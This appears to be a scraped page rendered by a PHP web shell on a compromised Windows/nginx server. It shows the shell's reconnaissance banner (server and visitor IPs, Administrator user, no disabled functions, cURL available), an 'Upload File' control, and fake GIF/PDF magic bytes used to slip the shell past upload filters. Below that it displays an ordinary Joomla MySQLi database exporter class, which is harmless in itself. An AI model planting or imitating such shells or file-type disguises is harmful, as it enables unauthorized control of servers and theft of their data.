GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/Joomla/libraries/joomla/database/database/ |
Upload File : |
<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; require_once dirname(__FILE__) . '/mysqlexporter.php'; /** * MySQL export driver. * * @package Joomla.Platform * @subpackage Database * @since 11.1 */ class JDatabaseExporterMySQLi extends JDatabaseExporterMySQL { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseExporterMySQLi Method supports chaining. * * @since 11.1 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseMySqli)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } /** * Sets the database connector to use for exporting structure and/or data from MySQL. * * @param JDatabaseMySQLi $db The database connector. * * @return JDatabaseExporterMySQLi Method supports chaining. * * @since 11.1 */ public function setDbo(JDatabaseMySQLi $db) { $this->db = $db; return $this; } }